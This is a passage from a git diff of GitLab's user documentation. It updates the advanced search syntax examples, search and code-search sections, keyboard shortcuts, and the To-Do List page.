bug`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results. +- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964) +- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964) +- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964) +- To group terms together, use parentheses: [`bug | (display +banner)`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+%7C+%28display+%2Bbanner%29&group_id=9970&project_id=278964) +- To match a partial word, use `*`. In this example, I want to find bugs with any 500 errors. : [`bug error 50*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+error+50*&group_id=9970&project_id=278964) +- To use one of symbols above literally, escape the symbol with a preceding `\`: [`argument \-last`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=argument+%5C-last&group_id=9970&project_id=278964) ### Syntax search filters -The Advanced Syntax Search also supports the use of filters. The available filters are: +The Advanced Search Syntax also supports the use of filters. The available filters are: - filename: Filters by filename. You can use the glob (`*`) operator for fuzzy matching. - path: Filters by path. You can use the glob (`*`) operator for fuzzy matching. @@ -68,11 +68,11 @@ To use them, simply add them to your query in the format `<filter_name>:<value>` Examples: -- Finding a file with any content named `hello_world.rb`: `* filename:hello_world.rb` -- Finding a file named `hello_world` with the text `whatever` inside of it: `whatever filename:hello_world` -- Finding the text 'def create' inside files with the `.rb` extension: `def create extension:rb` -- Finding the text `sha` inside files in a folder called `encryption`: `sha path:encryption` -- Finding any file starting with `hello` containing `world` and with the `.js` extension: `world filename:hello* extension:js` +- Finding a file with any content named `search_results.rb`: [`* filename:search_results.rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=*+filename%3Asearch_results.rb&group_id=9970&project_id=278964) +- Finding a file named `found_blob_spec.rb` with the text `CHANGELOG` inside of it: [`CHANGELOG filename:found_blob_spec.rb](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=CHANGELOG+filename%3Afound_blob_spec.rb&group_id=9970&project_id=278964) +- Finding the text `EpicLinks` inside files with the `.rb` extension: [`EpicLinks extension:rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=EpicLinks+extension%3Arb&group_id=9970&project_id=278964) +- Finding the text `Sidekiq` in a file, when that file is in a path that includes `elastic`: [`Sidekiq path:elastic`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=Sidekiq+path%3Aelastic&group_id=9970&project_id=278964) +- Syntax filters can be combined for complex filtering. Finding any file starting with `search` containing `eventHub` and with the `.js` extension: [`eventHub filename:search* extension:js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=eventHub+filename%3Asearch*+extension%3Ajs&group_id=9970&project_id=278964) #### Excluding filters @@ -86,7 +86,7 @@ Filters can be inversed to **filter out** results from the result set, by prefix Examples: -- Finding `rails` in all files but `Gemfile.lock`: `rails -filename:Gemfile.lock` -- Finding `success` in all files excluding `.po|pot` files: `success -filename:*.po*` -- Finding `import` excluding minified JavaScript (`.min.js`) files: `import -extension:min.js` -- Finding `docs` for all files outside the `docs/` folder: `docs -path:docs/` +- Finding `rails` in all files but `Gemfile.lock`: [`rails -filename:Gemfile.lock`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=rails+-filename%3AGemfile.lock&group_id=9970&project_id=278964) +- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964) +- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964) +- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964) diff --git a/doc/user/search/img/project_code_search.png b/doc/user/search/img/project_code_search.png Binary files differnew file mode 100644 index 00000000000..5412f614a74 --- /dev/null +++ b/doc/user/search/img/project_code_search.png diff --git a/doc/user/search/img/project_search_dropdown.png b/doc/user/search/img/project_search_dropdown.png Binary files differnew file mode 100644 index 00000000000..e0b922a186b --- /dev/null +++ b/doc/user/search/img/project_search_dropdown.png diff --git a/doc/user/search/index.md b/doc/user/search/index.md index 98b34fe8383..475a72385ac 100644 --- a/doc/user/search/index.md +++ b/doc/user/search/index.md @@ -49,7 +49,7 @@ groups: - My-reaction - Confidential - Epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195704) in GitLab 12.9), - including [child epic](../group/epics/index.md#multi-level-child-epics-ultimate) + including [child epic](../group/epics/index.md#multi-level-child-epics) ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9029) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0) - Search for this text @@ -129,6 +129,14 @@ characters to begin your search. For example, if you want to search for issues that have the assignee "Simone Presley", you'll need to type at least "Sim" before autocomplete gives any relevant results. +## Code search + +To search through code or other documents in a single project, you can use +the search field on the top-right of your screen while the project page is open. + + + + ## Search history You can view recent searches by clicking on the little arrow-clock icon, which is to the left of the search input. Click the search entry to run that search again. This feature is available for issues and merge requests. Searches are stored locally in your browser. @@ -154,6 +162,17 @@ quickly access issues and merge requests created or assigned to you within that  +### Autocomplete suggestions + +You can also type in this search bar to see autocomplete suggestions for: + +- Projects and groups +- Various help pages (try and type **API help**) +- Project feature pages (try and type **milestones**) +- Various settings pages (try and type **user settings**) +- Recently viewed issues (try and type some word from the title of a recently viewed issue) +- Recently viewed merge requests (try and type some word from the title of a recently merge request) + ## To-Do List Your [To-Do List](../todos.md#gitlab-to-do-list) can be searched by "to do" and "done". @@ -200,15 +219,15 @@ and **Labels**, select multiple issues to add to a list of your choice:  -## Advanced Global Search **(STARTER)** +## Advanced Search **(STARTER)** Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. -[Learn how to use the Advanced Global Search.](advanced_global_search.md) +[Learn how to use the Advanced Search.](advanced_global_search.md) -## Advanced Syntax Search **(STARTER)** +## Advanced Search Syntax **(STARTER)** Use advanced queries for more targeted search results. -[Learn how to use the Advanced Syntax Search.](advanced_search_syntax.md) +[Learn how to use the Advanced Search Syntax.](advanced_search_syntax.md) diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md index 314fe367ca6..c34d5be5899 100644 --- a/doc/user/shortcuts.md +++ b/doc/user/shortcuts.md @@ -27,7 +27,7 @@ These shortcuts are available in most areas of GitLab | <kbd>Shift</kbd> + <kbd>a</kbd> | Go to your Activity page. | | <kbd>Shift</kbd> + <kbd>l</kbd> | Go to your Milestones page. | | <kbd>Shift</kbd> + <kbd>s</kbd> | Go to your Snippets page. | -| <kbd>s</kbd> | Put cursor in the issues/merge requests search. | +| <kbd>s</kbd> / <kbd>/</kbd> | Put cursor in the search bar. | | <kbd>Shift</kbd> + <kbd>i</kbd> | Go to your Issues page. | | <kbd>Shift</kbd> + <kbd>m</kbd> | Go to your Merge requests page.| | <kbd>Shift</kbd> + <kbd>t</kbd> | Go to your To-Do List page. | @@ -40,6 +40,13 @@ for example comments, replies, issue descriptions, and merge request description | ---------------------------------------------------------------------- | ----------- | | <kbd>↑</kbd> | Edit your last comment. You must be in a blank text field below a thread, and you must already have at least one comment in the thread. | | <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>p</kbd> | Toggle Markdown preview, when editing text in a text field that has **Write** and **Preview** tabs at the top. | +| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>b</kbd> | Bold the selected text (surround it with `**`). | +| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>i</kbd> | Italicize the selected text (surround it with `_`). | +| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>k</kbd> | Add a link (surround the selected text with `[]()`). | + +NOTE: **Note:** +The shortcuts for editing in text fields are always enabled, even when +other keyboard shortcuts are disabled as explained above. ## Project diff --git a/doc/user/todos.md b/doc/user/todos.md index 02fef07a89a..1fca3c0ab64 100644 --- a/doc/user/todos.md +++ b/doc/user/todos.md @@ -5,67 +5,75 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# GitLab To-Do List +# GitLab To-Do List **(CORE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2817) in GitLab 8.5. -When you log into GitLab, you normally want to see where you should spend your -time, take some action, or know what you need to keep an eye on without -a huge pile of e-mail notifications. GitLab is where you do your work, -so being able to get started quickly is important. +When you sign in to GitLab, you normally want to determine where you should +spend your time. This can include taking an action, or keeping track of things +(without having to read lots of email notifications). Because GitLab is where you +do your work, being able to get started quickly is important. -Your To-Do List offers a chronological list of items that are waiting for your input, all -in a simple dashboard. +Your *To-Do List* offers a chronological list of items waiting for your input +(known as *to-dos*) in a single dashboard. - +The To-Do List supports tracking [actions](#what-triggers-a-to-do) related to +the following: -You can quickly access your To-Do List by clicking the checkmark icon next to the -search bar in the top navigation. If the count is: +- Issues +- Merge Requests +- Epics **(ULTIMATE)** -- Less than 100, the number in blue is the number of To-Do items. -- 100 or more, the number displays as 99+. The exact number displays - on the To-Do List. -you still have open. Otherwise, the number displays as 99+. The exact number -displays on the To-Do List. + + +You can access your To-Do List by clicking the **{task-done}** To-Do List icon +next to the search bar in the top navigation. If the to-do item count is: + +- *Less than 100*, the number in blue is the number of to-do items. +- *100 or more*, the number displays as 99+. The exact number displays in the + To-Do List.  -## What triggers a To Do +## What triggers a to-do -A To Do appears on your To-Do List when: +A to-do item appears on your To-Do List when: -- An issue or merge request is assigned to you -- You are `@mentioned` in the description or comment of an: - - Issue - - Merge Request - - Epic **(ULTIMATE)** +- An issue or merge request is assigned to you. +- You're `@mentioned` in the description or comment of an issue or merge request + (or epic **(ULTIMATE)**). - You are `@mentioned` in a comment on a: - Commit - Design -- The CI/CD pipeline for your merge request failed -- An open merge request becomes unmergeable due to conflict, and one of the following is true: - - You are the author - - You are the user that set it to automatically merge once the pipeline succeeds -- [Since GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/12136), a merge request - is removed from a [merge train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) - and you are the user that added it. **(PREMIUM)** - -When multiple trigger actions occur for the same user on the same object (for example, an issue) -only the first is displayed as a single to-do on their To-Do List. - -To-do triggers are not affected by [GitLab Notification Email settings](profile/notifications.md). +- The CI/CD pipeline for your merge request failed. +- An open merge request becomes unmergeable due to conflict, and one of the + following is true: + - You're the author. + - You're the user that set the merge request to automatically merge after a + pipeline succeeds. +- [Since GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/12136), a + merge request is removed from a + [merge train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md), + and you're the user that added it. **(PREMIUM)** + +When several trigger actions occur for the same user on the same object (for +example, an issue), GitLab displays only the first action as a single to-do +item. + +To-do triggers aren't affected by [GitLab notification email settings](profile/notifications.md). NOTE: **Note:** -When a user no longer has access to a resource related to a To Do (like an issue, merge request, -project, or group) the related To-Do items are deleted within the next hour for security reasons. -The delete is delayed to prevent data loss, in case the user's access was revoked by mistake. +When a user no longer has access to a resource related to a to-do (such as an +issue, merge request, project, or group), for security reasons GitLab deletes +any related to-do items within the next hour. Deletion is delayed to prevent +data loss, in the case where a user's access is accidentally revoked. -### Directly addressing a To Do +### Directly addressing a to-do > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7926) in GitLab 9.0. -If you are mentioned at the start of a line, the To Do you receive will be listed -as 'directly addressed'. For example, in this comment: +If you're mentioned at the start of a line, the to-do you receive will be listed +as *directly addressed*. For example, in the following comment: ```markdown @alice What do you think? cc: @bob @@ -79,81 +87,71 @@ as 'directly addressed'. For example, in this comment: @erin @frank thank you! ``` -The people receiving directly addressed To-Do items are `@alice`, `@erin`, and -`@frank`. Directly addressed To-Do items only differ from mentions in their type +The people receiving directly addressed to-do items are `@alice`, `@erin`, and +`@frank`. Directly addressed to-do items only differ from mentions in their type for filtering purposes; otherwise, they appear as normal. -### Manually creating a To Do +### Manually creating a to-do -You can also add the following to your To-Do List by clicking the **Add a To Do** button on an: - -- Issue -- Merge Request -- Epic **(ULTIMATE)** +You can add an issue or merge request (or epic **(ULTIMATE)**) to your +To-Do List by clicking its **Add a To Do** button.  -## Marking a To Do as done - -Any action to the following will mark the corresponding To Do as done: +## Marking a to-do as done -- Issue -- Merge Request -- Epic **(ULTIMATE)** +Any action to an issue or merge request (or epic **(ULTIMATE)**) will mark its +corresponding to-do as done. -Actions that dismiss To-Do items include: +Actions that dismiss to-do items include: - Changing the assignee - Changing the milestone - Adding/removing a label - Commenting on the issue -Your To-Do List is personal, and items are only marked as done if the action comes from -you. If you close the issue or merge request, your To Do is automatically -marked as done. - -To prevent other users from closing issues without you being notified, if someone else closes, merges, or takes action on the any of the following, your To Do will remain pending: - -- Issue -- Merge request -- Epic **(ULTIMATE)** +Your To-Do List is personal, and items are only marked as done if you take +action. If you close the issue or merge request, your to-do is marked as done. -There is just one To Do for each of these, so mentioning a user a hundred times in an issue will only trigger one To Do. +To prevent other users from closing issues without you being notified, if +someone else closes, merges, or takes action on an issue or merge request (or +epic **(ULTIMATE)**), your to-do will remain pending. -If no action is needed, you can manually mark the To Do as done by clicking the -corresponding **Done** button, and it will disappear from your To-Do List. +There's just one to-do for each of these, so mentioning a user many times in an +issue will only trigger one to-do item. - +If no action is needed, you can manually mark the to-do as done by clicking its +corresponding **Done** button to have GitLab remove the item from your +To-Do List. -You can also mark a To Do as done by clicking the **Mark as done** button in the sidebar of the following: + -- Issue -- Merge Request -- Epic **(ULTIMATE)** +You can also mark a to-do as done by clicking the **Mark as done** button in the +sidebar of an issue or merge request (or epic **(ULTIMATE)**).  -You can mark all your To-Do items as done at once by clicking the **Mark all as -done** button. +You can mark all your to-do items as done at once by clicking the +**Mark all as done** button. ## Filtering your To-Do List -There are four kinds of filters you can use on your To-Do List. +You can use the following types of filters with your To-Do List: -| Filter | Description | -| ------- | ----------- | -| Project | Filter by project | -| Group | Filter by group | -| Author | Filter by the author that triggered the To Do | -| Type | Filter by issue, merge request, design, or epic **(ULTIMATE)** | -| Action | Filter by the action that triggered the To Do | +| Filter | Description | +| ------- | ---------------------------------------------------------------- | +| Project | Filter by project. | +| Group | Filter by group. | +| Author | Filter by the author that triggered the To Do. | +| Type | Filter by issue, merge request, design, or epic. **(ULTIMATE)** | +| Action | Filter by the action that triggered the To Do. | -You can also filter by more than one of these at the same time. The possible Actions are -[described above](#what-triggers-a-to-do) and include: +You can also filter by more than one of these at the same time. The previously +described [triggering actions](#what-triggers-a-to-do) include: -- Any Action +- Any action - Assigned - Mentioned - Added - Pipelines -- Directly Addressed +- Directly addressed |
